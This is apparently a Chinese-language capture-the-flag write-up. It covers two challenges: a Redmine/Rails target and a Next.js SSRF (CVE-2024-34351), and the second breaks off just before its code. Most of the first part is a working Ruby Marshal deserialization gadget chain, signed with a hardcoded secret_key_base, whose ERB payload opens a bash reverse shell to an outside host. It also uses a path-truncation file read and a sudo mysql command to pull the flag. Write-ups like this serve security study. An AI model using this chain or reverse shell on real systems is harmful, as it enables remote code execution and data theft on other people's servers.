%3f截断绕过解析为php读取000-default.conf配置文件
/static/SCTF.jpg%3F.php
读取后发现有重写规则
加上预设安装的redmine,尝试读取redmine密钥
/profile/usr/share/redmine/instances/default/config/secret_key.txt%3f
接着打ROR反序列化,预设安装的redmine可以本地调试一下,打通后再打远程即可
require 'rails/all'
require 'cgi'
require 'active_support'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `bash -c \\"bash -i >& /dev/tcp/xx.xx.xx.xx/4455 0>&1\\"` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
class NullSerializer
def self.dump(value)
value
end
end
def sign_and_encrypt_data(data)
secret_key_base = '94e61cc23d1fa4e799f5bc6fd478fded'
serializer = NullSerializer
salt = 'encrypted cookie'
sign_salt = 'signed encrypted cookie'
encrypt_key = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, 32)
sign_key = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(sign_salt, 64)
encryptor = ActiveSupport::MessageEncryptor.new(encrypt_key, sign_key, serializer: serializer)
data = encryptor.encrypt_and_sign(data)
puts data
CGI::escape(data)
end
def verify_and_decrypt_data(data)
re_data = CGI::unescape(data)
secret_key_base = '94e61cc23d1fa4e799f5bc6fd478fded'
#serializer = NullSerializer
salt = 'encrypted cookie'
sign_salt = 'signed encrypted cookie'
encrypt_key = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, 32)
sign_key = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(sign_salt, 64)
encryptor = ActiveSupport::MessageEncryptor.new(encrypt_key, sign_key)
data = encryptor.decrypt_and_verify(re_data)
end
final = ActiveRecord::Associations::Association.allocate
data = Marshal.dump(final)
puts sign_and_encrypt_data(data)
#puts verify_and_decrypt_data(sign_and_encrypt_data(data))
弹出来后,flag在数据库,sudo提个权读取就可以了
sudo mysql -e "use secret;select * from flag"
打开附件查看docker-compose文件发现有docker容器,一个fronted,一个backend,一个redis其中只有fronted容器暴露在公网,flag在redis机器的根目录
我们的fronted写了两个路由,一个/play,一个/success,这里的/play路由就是3秒钟算一个数学题,一直得分到10000分以上才会跳转/success路由,但是我没想让师傅们玩这个无聊游戏就没引入认证模块,可以直接访问/success路由,观察package.json发现nextjs的版本是14.1.0,存在CVE-2024-34351漏洞,观察源码可以发现Let us Play Again!!
就是调用了redirect("/play")
,其中的redirect函数可以触发SSRF漏洞
写一个main.ts: